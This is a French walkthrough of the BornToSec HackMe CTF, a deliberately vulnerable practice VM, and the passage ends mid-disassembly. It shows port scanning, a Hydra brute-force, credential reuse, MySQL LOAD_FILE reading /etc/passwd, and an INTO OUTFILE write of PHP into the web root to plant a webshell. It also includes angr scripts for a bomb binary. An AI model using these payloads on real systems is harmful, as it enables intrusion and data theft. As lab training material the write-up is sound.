Accueil Solution du CTF BornToSec HackMe v1.1 de l'école 42
Post
Annuler

Solution du CTF BornToSec HackMe v1.1 de l'école 42

Il y a quelques années de cela, un ancien collègue m’avait partagé un CTF qui provenait de l’école 42.

Après avoir résolu ce CTF qui mélangeait exploitation classique et Jeopardy (via une épreuve de reverse-engineering) j’avais quand même un avis mitigé.

De mémoire il y avait eu un peu de guessing avec des indications peu claires ou manquantes et surtout le binaire (que j’avais regerse-engineeré de façon classique) offrait bien magré lui des solutions multiples alors que ces solutions servent à générer un password pour les étapes qui suivent.

Pour finir, je n’avais pas publié de writeup à l’époque car l’exécutable me semblait une aubaine pour se lancer dans l’utilisation d’angr: A powerful and user-friendly binary analysis platform! et j’ai longtemps remis à plus tard son apprentissage.

Je n’ai pas de site officiel pour fournir le lien du CTF. A l’heure actuelle l’ISO est présent sur GitHub - nirae/packer_42_projects_boxes mais sinon l’ISO se nomme BornToSecHackMe-v1.1.iso et son hash MD5 est 8f6b7f863fab5c684dbee11151b93426.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Nmap scan report for borntosec (192.168.56.66)
Host is up (0.00019s latency).
Not shown: 65529 closed tcp ports (reset)
PORT    STATE SERVICE    VERSION
21/tcp  open  ftp        vsftpd 2.0.8 or later
|_ftp-anon: got code 500 "OOPS: vsftpd: refusing to run with writable root inside chroot()".
22/tcp  open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 07bf0220f08ac8481efc41aea446fa25 (DSA)
|   2048 26dd80a3dfc44b531e534246ef6e30b2 (RSA)
|_  256 cfc38c31d7477c84e2d21631b28e63a7 (ECDSA)
80/tcp  open  http       Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Hack me if you can
|_http-server-header: Apache/2.2.22 (Ubuntu)
143/tcp open  imap       Dovecot imapd
|_imap-capabilities: IDLE more listed have Pre-login IMAP4rev1 OK capabilities ENABLE post-login SASL-IR ID LOGINDISABLEDA0001 STARTTLS LOGIN-REFERRALS LITERAL+
|_ssl-date: 2022-11-26T15:24:00+00:00; -2d04h42m52s from scanner time.
443/tcp open  ssl/http   Apache httpd 2.2.22
|_http-title: 404 Not Found
|_http-server-header: Apache/2.2.22 (Ubuntu)
| ssl-cert: Subject: commonName=BornToSec
| Not valid before: 2015-10-08T00:19:46
|_Not valid after:  2025-10-05T00:19:46
|_ssl-date: 2022-11-26T15:24:01+00:00; -2d04h42m52s from scanner time.
993/tcp open  ssl/imaps?
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2015-10-08T20:57:30
|_Not valid after:  2025-10-07T20:57:30
|_ssl-date: 2022-11-26T15:24:01+00:00; -2d04h42m52s from scanner time.

Bad OPSEC

On peut voir ici que le serveur FTP défaille, potentiellement du à un problème de configuration. Il est sensé fournir un accès à certains fichiers mais, comme on le verra par la suite, on peut très bien parvenir à nos fins autrement.

Sur les services HTTP on trouve des liens sociaux vers l’école 42 mais rien d’utile pour le challenge. On note toutefois le commonName défini à borntosec dans le certificat SSL et on ajoute donc une entrée dans notre fichier /etc/hosts.

Je lance une énumération sur le port 80 à l’aide de feroxbuster: A fast, simple, recursive content discovery tool written in Rust. mais je n’obtiens pas grand chose, avec une erreur 403 pour le forum :

1
2
3
403       10l       30w      286c http://192.168.56.66/forum
301        9l       28w      314c http://192.168.56.66/fonts
403       10l       30w      294c http://192.168.56.66/server-status

Le port https offre plus de résultats avec déjà le forum qui est accessible ainsi qu’un webmail et une interface phpMyAdmin :

1
2
3
4
301        9l       28w      316c https://192.168.56.66/forum
301        9l       28w      318c https://192.168.56.66/webmail
301        9l       28w      321c https://192.168.56.66/phpmyadmin
403       10l       30w      295c https://192.168.56.66/server-status

Le forum a une signature powered by my little forum et on trouve différentes entrées sur exploit-db concernant ce logiciel mais les URLs ne concordent pas, les vulnérabilités doivent toucher d’anciennes versions.

On peut sans authentification préalable lister la totalité des utilisateurs :

  • admin

  • lmezard

  • qudevide

  • thor

  • wandre

  • zaz

Le seul message qui semble d’intérêt sur le forum est dans un thread baptisé Probleme login ? qui contient des extraits d’un auth.log, là où Linux stocke généralement les infos de connexions SSH. Voici les parties qui semblent les plus intéressantes :

Oct 5 08:44:55 BornToSecHackMe sshd[7488]: Failed password for invalid user PlcmSpIp from 161.202.39.38 port 54827 ssh2
Oct 5 08:44:55 BornToSecHackMe sshd[7488]: Received disconnect from 161.202.39.38: 3: com.jcraft.jsch.JSchException: Auth fail [preauth]
Oct 5 08:44:57 BornToSecHackMe sshd[7490]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=161.202.39.38-static.reverse.softlayer.com user=root
Oct 5 08:45:29 BornToSecHackMe sshd[7547]: Failed password for invalid user !q\]Ej?*5K5cy*AJ from 161.202.39.38 port 57764 ssh2
Oct 5 08:45:29 BornToSecHackMe sshd[7547]: Received disconnect from 161.202.39.38: 3: com.jcraft.jsch.JSchException: Auth fail [preauth]
Oct 5 08:46:01 BornToSecHackMe CRON[7549]: pam_unix(cron:session): session opened for user lmezard by (uid=1040)
Oct 5 09:21:01 BornToSecHackMe CRON[9111]: pam_unix(cron:session): session closed for user lmezard
Oct 5 15:51:48 BornToSecHackMe sshd[28139]: pam_unix(sshd:session): session opened for user admin by (uid=0)
Oct 5 15:51:48 BornToSecHackMe sshd[28292]: Received disconnect from 62.210.32.157: 11: disconnected by user
Oct 5 15:51:48 BornToSecHackMe sshd[28139]: pam_unix(sshd:session): session closed for user admin
Oct 5 16:07:01 BornToSecHackMe CRON[29216]: pam_unix(cron:session): session opened for user root by (uid=0)

Sur deux cas on à l’impression que l’utilisateur a saisi son mot de passe à la place de son login. Les messages de succès indiquent quand à eux l’existence des compte lmezard, admin et root.

Les combinaisons de ces identifiants et mots de passe sont malheureusement refusés sur le serveur SSH mais on parvient à se connecter au forum avec le compte lmezard et le mot de passe !q\]Ej?*5K5cy*AJ.

Une fois connecté on n’apprend pas grand chose de plus, on peut toutefois lire l’adresse email liée au compte qui est laurie@borntosec.net, on a donc une utilisatrice.

Faute de mieux on se rabat sur le webmail et on parvient à se conecter avec laurie@borntosec.net / !q\]Ej?*5K5cy*AJ

Il se peut que le webmail ait quelques réticences à vous connecter et c’est sans doute ce qui m’avait laissé un mauvais apperçu du CTF. Il semble qu’au pire on peut aussi accéder aux emails via le port imaps :

1
2
3
4
5
6
7
8
9
10
$ hydra -L users.txt  -P pass.txt imaps://192.168.56.66
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-28 21:46:18
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:8/p:2), ~1 try per task
[DATA] attacking imaps://192.168.56.66:993/
[993][imap] host: 192.168.56.66   login: laurie@borntosec.net   password: !q\]Ej?*5K5cy*AJ
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-28 21:46:23

Sur le webmail on peut lire le message suivant :

From:qudevide@mail.borntosec.net
Subject:DB Access
Date:Thu, October 8, 2015 10:25 pm
To:laurie@borntosec.net
Hey Laurie,
You cant connect to the databases now. Use root/Fg-‘kKXBj87E:aJ$
Best regards.
 

Dépose-minute

On se dirige alors vers le phpMyAdmin dans l’espoir d’y trouver une information utile. Le forum se sert de la base de données forum_db et les hashs des utilisateurs sontr dans la table mlf2_userdata.

Les hashs ne tombent pas sur crackstation.net et d’ailleurs ils sont d’une taille étrange, plus long que du MD5 et du SHA1 mais moins que du SHA256…

A défaut de casser les hashs on peut copier celui de lmezard dont on connait le clair et le mettre pour le compte admin. Une fois connecté on a accès à l’interface d’administration du forum. On peut activer l’upload des images et des avatars mais ces nouvelles options ne semblent pas permettre d’uploader autre chose que des images.

J’aurais pu fouiller plus en détails mais je me suis tourné vers des commandes MySQL plus classiques pour parvenir à mes fins.

Ainsi la commande SQL suivante :

1
SELECT LOAD_FILE( "/etc/passwd" )

permet de récupérer un blob avec la liste des utilisateurs (il faut soit activer l’affichage des blobs dans phpMyAdmin soit exporter vers un format utilisable comme JSON)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
--- snip ---
ft_root:x:1000:1000:ft_root,,,:/home/ft_root:/bin/bash
mysql:x:106:115:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:107:116:ftp daemon,,,:/srv/ftp:/bin/false
lmezard:x:1001:1001:laurie,,,:/home/lmezard:/bin/bash
laurie@borntosec.net:x:1002:1002:Laurie,,,:/home/laurie@borntosec.net:/bin/bash
laurie:x:1003:1003:,,,:/home/laurie:/bin/bash
thor:x:1004:1004:,,,:/home/thor:/bin/bash
zaz:x:1005:1005:,,,:/home/zaz:/bin/bash
dovecot:x:108:117:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:109:65534:Dovecot login user,,,:/nonexistent:/bin/false
postfix:x:110:118::/var/spool/postfix:/bin/false

J’ai procédé à la même opération pour le fichier /etc/os-release pour identifier l’OS :

Ubuntu precise (12.04.5 LTS)

Une petite recherche sur le web permet de déterminer comment est organisée la configuration Apache sur ce système. Heureusement le nom du fichier de configuration par défaut pour le virtual host n’a pas été changé (/etc/apache2/sites-enabled/000-default).

En voici les grandes lignes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    ServerName BorntoSec
    DocumentRoot /var/www

    <Directory /var/www/forum>
        SSLRequireSSL
    </Directory>
    <Directory /var/www/>
        allow from all
    </Directory>
</VirtualHost>

<VirtualHost *:443>
    ServerAdmin webmaster@localhost
    SSLEngine On
    SSLCertificateFile /etc/ssl/private/localhost.pem

Alias /phpmyadmin /usr/share/phpmyadmin
<Directory /usr/share/phpmyadmin>
    Options FollowSymLinks
    DirectoryIndex index.php
    AllowOverride All

    <IfModule mod_php5.c>
        AddType application/x-httpd-php .php
        php_flag magic_quotes_gpc Off
        php_flag track_vars On
        php_flag register_globals Off
        php_admin_flag allow_url_fopen Off
        php_value include_path .
        php_admin_value upload_tmp_dir /var/lib/phpmyadmin/tmp
        php_admin_value open_basedir /usr/share/phpmyadmin/:/etc/phpmyadmin/:/var/lib/phpmyadmin/
    </IfModule>
</Directory>

Alias /forum /var/www/forum
<Directory /var/www/forum>
    Options Indexes FollowSymLinks MultiViews
    <IfModule mod_php5.c>
        php_flag register_globals off
    </IfModule>
    <IfModule mod_dir.c>
        DirectoryIndex index.php
    </IfModule>
</Directory>

Alias /webmail /usr/share/squirrelmail
<Directory /usr/share/squirrelmail>
    Options FollowSymLinks
        <IfModule mod_php5.c>
            php_flag register_globals off
        </IfModule>
        <IfModule mod_dir.c>
            DirectoryIndex index.php
        </IfModule>

        <Files configtest.php>
            order deny,allow
            deny from all
            allow from 127.0.0.1
        </Files>
    </Directory>
</VirtualHost>

A ce stade de notre connaissance du système, l’objectif est de pouvoir déposer un script PHP sous la racine web du site. On sait que le forum est installé dans /var/www/forum donc on va essayer d’écrire sous ce dossier.

Il m’aura fallut plusieurs tentatives (avec l’aide de Feroxbuster pour lister les sous-dossiers existants) avant de trouver un emplacement où l’écriture est autorisée.

Cette requête me permet de créer un phpinfo dans le dossier de templates du forum :

1
SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/forum/templates_c/dvinfo.php'

J’y apprend que la machine est en 32 bits et que l’utilisateur courant est www-data. De la même façon je dépose un webshell.

Je l’utilise pour rappatrier reverse-ssh en 32 bits à l’aide de wget puis, une fois le tunnel SSH établit, je fouille un peu puis trouve un dossier intéressant dans /home :

1
2
3
4
5
6
7
8
9
10
11
www-data@BornToSecHackMe:/$ ls /home/
total 0
drwxrwx--x 1 www-data             root                  60 Oct 13  2015 .
drwxr-xr-x 1 root                 root                 220 Nov 26 17:04 ..
drwxr-x--- 2 www-data             www-data              31 Oct  8  2015 LOOKATME
drwxr-x--- 6 ft_root              ft_root              156 Jun 17  2017 ft_root
drwxr-x--- 3 laurie               laurie               143 Oct 15  2015 laurie
drwxr-x--- 1 laurie@borntosec.net laurie@borntosec.net  60 Oct 15  2015 laurie@borntosec.net
dr-xr-x--- 2 lmezard              lmezard               61 Oct 15  2015 lmezard
drwxr-x--- 3 thor                 thor                 129 Oct 15  2015 thor
drwxr-x--- 4 zaz                  zaz                  147 Oct 15  2015 zaz

Le dossier contient un fichier qui renferme des identifiants :

1
2
www-data@BornToSecHackMe:/home/LOOKATME$ cat password
lmezard:G!@M6f4Eatau{sF"

Rest In Pieces

On peut alors changer d’utilisateur (via su) et découvrir de nouveaux fichiers :

1
2
3
4
5
6
7
8
9
10
11
lmezard@BornToSecHackMe:~$ ls -al
total 791
dr-xr-x--- 2 lmezard  lmezard     61 Oct 15  2015 .
drwxrwx--x 1 www-data root        60 Oct 13  2015 ..
-rw-r--r-- 1 root     root         1 Oct 15  2015 .bash_history
-rwxr-x--- 1 lmezard  lmezard 808960 Oct  8  2015 fun
-rwxr-x--- 1 lmezard  lmezard     96 Oct 15  2015 README
lmezard@BornToSecHackMe:~$ cat README
Complete this little challenge and use the result as password for user 'laurie' to login in ssh
lmezard@BornToSecHackMe:~$ file fun
fun: POSIX tar archive (GNU)

Cette archive contient 750 fichiers PCAP qui n’en sont en réalité pas (ce ne sont pas des captures réseau). Il s’agit en réalité de boût de code d’un programme C.

Les fichiers font tous moins de 50 octets, sauf un, où l’on peut lire ça au milieu des lignes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int main() {
        printf("M");
        printf("Y");
        printf(" ");
        printf("P");
        printf("A");
        printf("S");
        printf("S");
        printf("W");
        printf("O");
        printf("R");
        printf("D");
        printf(" ");
        printf("I");
        printf("S");
        printf(":");
        printf(" ");
        printf("%c",getme1());
        printf("%c",getme2());
        printf("%c",getme3());
        printf("%c",getme4());
        printf("%c",getme5());
        printf("%c",getme6());
        printf("%c",getme7());
        printf("%c",getme8());
        printf("%c",getme9());
        printf("%c",getme10());
        printf("%c",getme11());
        printf("%c",getme12());
        printf("\n");
        printf("Now SHA-256 it and submit");
}

Les fonctions getme ne sont pas toutes dans le même fichier, il faut donc recoller les morceaux.

Un programme C commence normalement par les directives #include. Un simple grep me retourne le fichier qui contient la directive. Son contenu est le suivant :

1
2
3
#include <stdio.h>

//file1

Intéressant ! Les fichiers sont donc numérotés via un commentaire dans le fichier lui même.

J’ai écrit ce script Python pour recoller les morceaux :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from glob import glob
import re

FILE_NUM = re.compile(r"//file(\d+)")
parts = {}

for filename in glob("*.pcap"):
    data = open(filename).read()
    num = int(FILE_NUM.search(data).group(1))
    parts[num] = filename

with open("prog.c", "w") as fd:
    for i in sorted(parts):
        fd.write(open(parts[i]).read())
        fd.write("\n")

On compile le code C compilé et on exécute :

1
2
MY PASSWORD IS: Iheartpwnage
Now SHA-256 it and submit

Comme indiqué dans le README on génère le hash sha256 :

1
2
$ echo -n Iheartpwnage | sha256sum
330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4  -

Et on peut se connecter via SSH au compte laurie.

Avec Colr

On a une fois de plus deux fichiers présents :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
laurie@BornToSecHackMe:~$ ls -l
total 27
-rwxr-x--- 1 laurie laurie 26943 Oct  8  2015 bomb
-rwxr-x--- 1 laurie laurie   158 Oct  8  2015 README
laurie@BornToSecHackMe:~$ cat README
Diffuse this bomb!
When you have all the password use it as "thor" user with ssh.

HINT:
P
 2
 b

o
4

NO SPACE IN THE PASSWORD (password is case sensitive).

Le fichier bomb est un exécutable 32 bits non strippé (les noms des fonctions apparaissentt dans un désassembleur comme Cutter) ce qui facilite l’analyse.

J’ai prévu d’utiliser angr pour résoudre le CTF mais angr c’est quoi au juste ? D’après le site officiel :

angr is a multi-architecture binary analysis toolkit, with the capability to perform dynamic symbolic execution (like Mayhem, KLEE, etc.) and various static analyses on binaries.

Au lieu d’analyser un flot d’exécution avec des valeurs concrètes comme le fait un débogueur, angr va voir des emplacements mémoires auxquels sont appliqués différentes opérations tout au long de l’exécution du programme.

Ainsi au lieu de dire que le registre eax vaut 50 il pourra dire que eax vaut (à une adresse A) son état initial auquel on a rajouté 3 puis retiré 25 puis qu’on a muliplié par 2 etc….

Avec l’aide du solver Z3 de Microsoft qu’il intègre, il est capable de résoudre l’équation qui permettra de trouver la valeur initiale qui se cache derrière telle ou telle valeur finale rencontrée.

Dans notre cas le binaire est découpé en 6 étapes que l’on doit résoudre en saisissant des données particulières. angr va nous servir à trouver les données à saisir sans regarder le corps des fonctions qui définissent ces étapes, juste en déclarant où se trouvera la donnée initiale et quel état le programme doit atteindre lorsque la solution est bonne.

Voici un exemple plus parlant puisqu’il s’agit de la première étape du binaire, après la lecture des données :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
;-- phase_1:
; arg int32_t arg_8h @ ebp+0x8
0x08048b20      push    ebp
0x08048b21      mov     ebp, esp
0x08048b23      sub     esp, 8
0x08048b26      mov     eax, dword [arg_8h]
0x08048b29      add     esp, 0xfffffff8
0x08048b2c      push    str.Public_speaking_is_very_easy. ; 0x80497c0 ; int32_t arg_ch
0x08048b31      push    eax        ; int32_t arg_8h
0x08048b32      call    strings_not_equal ; sym.strings_not_equal
0x08048b37      add     esp, 0x10
0x08048b3a      test    eax, eax
0x08048b3c      je      0x8048b43
0x08048b3e      call    explode_bomb ; sym.explode_bomb
0x08048b43      mov     esp, ebp
0x08048b45      pop     ebp
0x08048b46      ret
0x08048b47      nop

Ici on est dans le cas de crackme le plus simple possible : la fonction reçoit une chaine de caractères en paramètre et la compare à une autre qui est hardcodé. Au simple coup d’œil on sait que la solution est Public speaking is very easy.

Le code Python pour résoudre l’étape avec angr est le suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import logging

import angr

logging.getLogger('angr.storage').setLevel(logging.ERROR)

BINARY = "./bomb"

def is_defused(state):
    try:
        return b"defused" in state.posix.dumps(1)
    except:
        return False

def is_exploded(state):
    try:
        return b"BOOM" in state.posix.dumps(1)
    except:
        return False

def solve_flag_1():
    project = angr.Project(BINARY)
    sm = project.factory.simulation_manager()
    sm.use_technique(angr.exploration_techniques.DFS())
    sm.explore(find=is_defused, avoid=is_exploded)
    print(sm.found[0].posix.dumps(0).split(b"\0")[0].decode())

Le code se base sur deux observations :

  • quand la chaine saisie est correcte le binaire affiche Phase 1 defused

  • quand la chaine saisie est incorrecte la bombe explose avec le message BOOM

Il suffit d’indiquer à angr où se trouve le binaire, à créer un simulation manager et lui demander de trouver les cas qui mènent au message defused tout en évitant ceux qui mènent au message BOOM.

Une fois qu’il a terminé on lui demande d’afficher ce qu’il a envoyé sur l’entrée standard du programme.

Le seul point particulier ici c’est que par défaut le code crashait sur une erreur de récursion. J’ai résolu cela en spécifiant d’utiliser une autre technique (Depth First Search) qui va privilégier les enbranchements les plus profonds.

Boom shakalaka

Utiliser angr n’est pas la chose la plus aisée et nécessite tout de même quelques connaissances en assembleur pour comprendre où et comment sont organisés les données d’entrées et de sorties dans le binaire analysé.

Pour la seconde étape on a le code assembleur suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
phase_2 (int32_t arg_8h);
; var int32_t var_28h @ ebp-0x28
; var uint32_t var_18h @ ebp-0x18
; arg int32_t arg_8h @ ebp+0x8
0x08048b48      push    ebp
0x08048b49      mov     ebp, esp
0x08048b4b      sub     esp, 0x20
0x08048b4e      push    esi
0x08048b4f      push    ebx
0x08048b50      mov     edx, dword [arg_8h]
0x08048b53      add     esp, 0xfffffff8
0x08048b56      lea     eax, [var_18h]
0x08048b59      push    eax        ; int arg_ch
0x08048b5a      push    edx        ; const char *s
0x08048b5b      call    read_six_numbers ; sym.read_six_numbers
0x08048b60      add     esp, 0x10
0x08048b63      cmp     dword [var_18h], 1
0x08048b67      je      0x8048b6e
0x08048b69      call    explode_bomb ; sym.explode_bomb
0x08048b6e      mov     ebx, 1
0x08048b73      lea     esi, [var_18h]
0x08048b76      lea     eax, [ebx + 1]
0x08048b79      imul    eax, dword [esi + ebx*4 - 4]
0x08048b7e      cmp     dword [esi + ebx*4], eax
0x08048b81      je      0x8048b88
0x08048b83      call    explode_bomb ; sym.explode_bomb
0x08048b88      inc     ebx
0x08048b89      cmp     ebx, 5     ; 5
0x08048b8c      jle     0x8048b76
0x08048b8e      lea     esp, [var_28h]
0x08048b91      pop     ebx
0x08048b92      pop     esi
0x08048b93      mov     esp, ebp
0x08048b95      pop     ebp
0x08048b96      ret

Ici le programme lit 6 entiers (comme le nom de la fonction l’indique). Une première comparaison est faite avec le chiffre 1 puis si tout va bien on entre dans une boucle de 5 tours qui fait une comparaison plus compliquée.

La difficulté majeure ici c’est que angr gère mal la fonction scanf qui est utilisée dans read_six_numbers. Il faut donc lui macher le travail pour qu’il comprenne sur quoi il doit travailler.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def solve_flag_2():
    project = angr.Project(BINARY, auto_load_libs=False)
    # addr = Juste après read_six_numbers
    initial_state = project.factory.blank_state(addr=0x08048b60)
    ints = [initial_state.solver.BVS(f"int{i}", 8*4) for i in range(6)]
    for i in range(6):
        initial_state.memory.store(initial_state.regs.ebp - 0x18 + 4*i, ints[i], endness='Iend_BE')

    sm = project.factory.simulation_manager(initial_state, save_unconstrained=True)
    sm.use_technique(angr.exploration_techniques.DFS())
    sm.explore(find=lambda s: b"Keep going" in s.posix.dumps(1), avoid=is_exploded)
    found_state = sm.unconstrained[0]
    answers = [found_state.solver.eval(intvar, cast_to=bytes) for intvar in ints]
    print(' '.join([str(unpack('<I', answer)[0]) for answer in answers]))

Ici je fait démarrer l’analyse juste après la fonction read_six_numbers qui nous embête. Je sais que les 6 entiers sont stockés dans un tableau qui commence à $ebp-0x18 alors je crée 6 entiers symboliques de 32 bits chacun et je les place dans les différents emplacements du tableau.

La suite est similaire à l’exemple précédent : il faut chercher le cas qui affichera Keep going mais éviter ceux qui causent la détonation.

Ici j’ai eu une difficulté suplémentaire : angr ne trouvait pas une solution stable mais a relevé des cas unconstrained qui correspondent généralement à des crashs de l’exécutable analysé. En analysant ce cas il s’est avéré qu’il disposait de la bonne solution.

Le problème vient certainement plus d’une mauvaise utilisation d’angr de ma part plutôt qu’un bug dans le logiciel.

A la fin je fais afficher les valeurs attachées à mes entiers symboliques :

1
2
3
4
5
$ python defuse.py
WARNING  | 2022-11-28 23:26:45,295 | cle.backends.externs | Symbol was allocated without a known size; emulation may fail if it is used non-opaquely: __ctype_b
WARNING  | 2022-11-28 23:26:45,297 | cle.loader     | For more information about "Symbol was allocated without a known size", see https://docs.angr.io/extending-angr/environment#simdata
WARNING  | 2022-11-28 23:26:46,794 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_1b_10_32{UNINITIALIZED}>
1 2 6 24 120 720

Paris sous les bombes

Sans entrer dans les détails (ce n’est pas l’objectif ici), le code de la troisième étape n’a pas de boucles mais pas mal d’enbranchements qui correspondent à de multiples valeurs possibles.

Ce qui nous importe ici c’est que le programme effectue un scanf avec %d %c %d donc un entier, un caractère et un autre entier.

Le code pour angr est très proche du précédent :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def solve_flag_3():
    start = 0x08048bbc
    end = 0x08048aae
    project = angr.Project(BINARY, auto_load_libs=False)
    state = project.factory.blank_state(addr=start)
    int1 = state.solver.BVS("int1", 8*4)
    state.memory.store(state.regs.ebp - 0xc, int1, endness='Iend_BE')
    char = state.solver.BVS("char", 8*4)
    state.memory.store(state.regs.ebp - 0xc + 4, char, endness='Iend_LE')
    int2 = state.solver.BVS("int2", 8*4)
    state.memory.store(state.regs.ebp - 0xc + 8, int2, endness='Iend_BE')

    sm = project.factory.simulation_manager(state, save_unconstrained=True)
    sm.explore(find=end, avoid=0x080494fc)
    for found in sm.unconstrained:
        print(
            unpack("<I", found.solver.eval(int1, cast_to=bytes))[0],
            chr(found.solver.eval(char, cast_to=bytes)[0]),
            unpack("<I", found.solver.eval(int2, cast_to=bytes))[0],
        )

J’ai défini start à l’adresse de l’instruction juste après le scanf.

Cette fois l’option passée à find n’est pas une chaine de caractère qui doit s’afficher mais simplement l’adresse à atteindre (qui correspond en fait à l’affichage du message de succès donc ça revient au même).

Exécution :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python defuse.py
WARNING  | 2022-11-28 23:42:23,130 | cle.backends.externs | Symbol was allocated without a known size; emulation may fail if it is used non-opaquely: __ctype_b
WARNING  | 2022-11-28 23:42:23,132 | cle.loader     | For more information about "Symbol was allocated without a known size", see https://docs.angr.io/extending-angr/environment#simdata
WARNING  | 2022-11-28 23:42:25,753 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
WARNING  | 2022-11-28 23:42:26,122 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
WARNING  | 2022-11-28 23:42:26,508 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
WARNING  | 2022-11-28 23:42:26,883 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
WARNING  | 2022-11-28 23:42:27,255 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
WARNING  | 2022-11-28 23:42:27,624 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
WARNING  | 2022-11-28 23:42:27,991 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
WARNING  | 2022-11-28 23:42:28,367 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV32 mem_f_7_32{UNINITIALIZED}>
4 o 160
3 k 251
5 t 458
2 b 755
6 v 780
1 b 214
7 b 524
0 q 777

Ici on a des solutions multiples. L’indice donné au début (dans le fichier README) indique que la solution doit avoir un b en seconde position. Ca nous laisse toutefois 3 possibilités.

La bonne sera en fait 1 b 214.

C’est de la bombe bébé

La quatrième phase semble plutôt basique à première vue avec la lecture d’un seul entier, des calculs et une comparaison finale avec la valeur 55 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
phase_4 (const char *s);
; var va_list args @ ebp-0x4
; arg const char *s @ ebp+0x8
0x08048ce0      push    ebp
0x08048ce1      mov     ebp, esp
0x08048ce3      sub     esp, 0x18
0x08048ce6      mov     edx, dword [s]
0x08048ce9      add     esp, 0xfffffffc
0x08048cec      lea     eax, [args]
0x08048cef      push    eax        ; va_list args
0x08048cf0      push    0x8049808  ; const char *format
0x08048cf5      push    edx        ; const char *s
0x08048cf6      call    sscanf     ; sym.imp.sscanf ; int sscanf(const char *s, const char *format, va_list args)
0x08048cfb      add     esp, 0x10
0x08048cfe      cmp     eax, 1     ; 1
0x08048d01      jne     0x8048d09
0x08048d03      cmp     dword [args], 0
0x08048d07      jg      0x8048d0e
0x08048d09      call    explode_bomb ; sym.explode_bomb
0x08048d0e      add     esp, 0xfffffff4
0x08048d11      mov     eax, dword [args]
0x08048d14      push    eax        ; int32_t arg_8h
0x08048d15      call    func4      ; sym.func4
0x08048d1a      add     esp, 0x10
0x08048d1d      cmp     eax, 0x37  ; 55
0x08048d20      je      0x8048d27
0x08048d22      call    explode_bomb ; sym.explode_bomb
0x08048d27      mov     esp, ebp
0x08048d29      pop     ebp
0x08048d2a      ret

Mais les calculs sont effectués dans la fonction func4 qui fait de la double-récursivité (elle s’appelle deux fois) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func4 (va_list arg_8h);
; var int32_t var_18h @ ebp-0x18
; arg va_list arg_8h @ ebp+0x8
0x08048ca0      push    ebp
0x08048ca1      mov     ebp, esp
0x08048ca3      sub     esp, 0x10
0x08048ca6      push    esi
0x08048ca7      push    ebx
0x08048ca8      mov     ebx, dword [arg_8h]
0x08048cab      cmp     ebx, 1     ; 1
0x08048cae      jle     0x8048cd0
0x08048cb0      add     esp, 0xfffffff4
0x08048cb3      lea     eax, [ebx - 1]
0x08048cb6      push    eax        ; va_list arg_8h
0x08048cb7      call    func4
0x08048cbc      mov     esi, eax
0x08048cbe      add     esp, 0xfffffff4
0x08048cc1      lea     eax, [ebx - 2]
0x08048cc4      push    eax        ; va_list arg_8h
0x08048cc5      call    func4
0x08048cca      add     eax, esi
0x08048ccc      jmp     0x8048cd5
0x08048cce      mov     esi, esi
0x08048cd0      mov     eax, 1
0x08048cd5      lea     esp, [var_18h]
0x08048cd8      pop     ebx
0x08048cd9      pop     esi
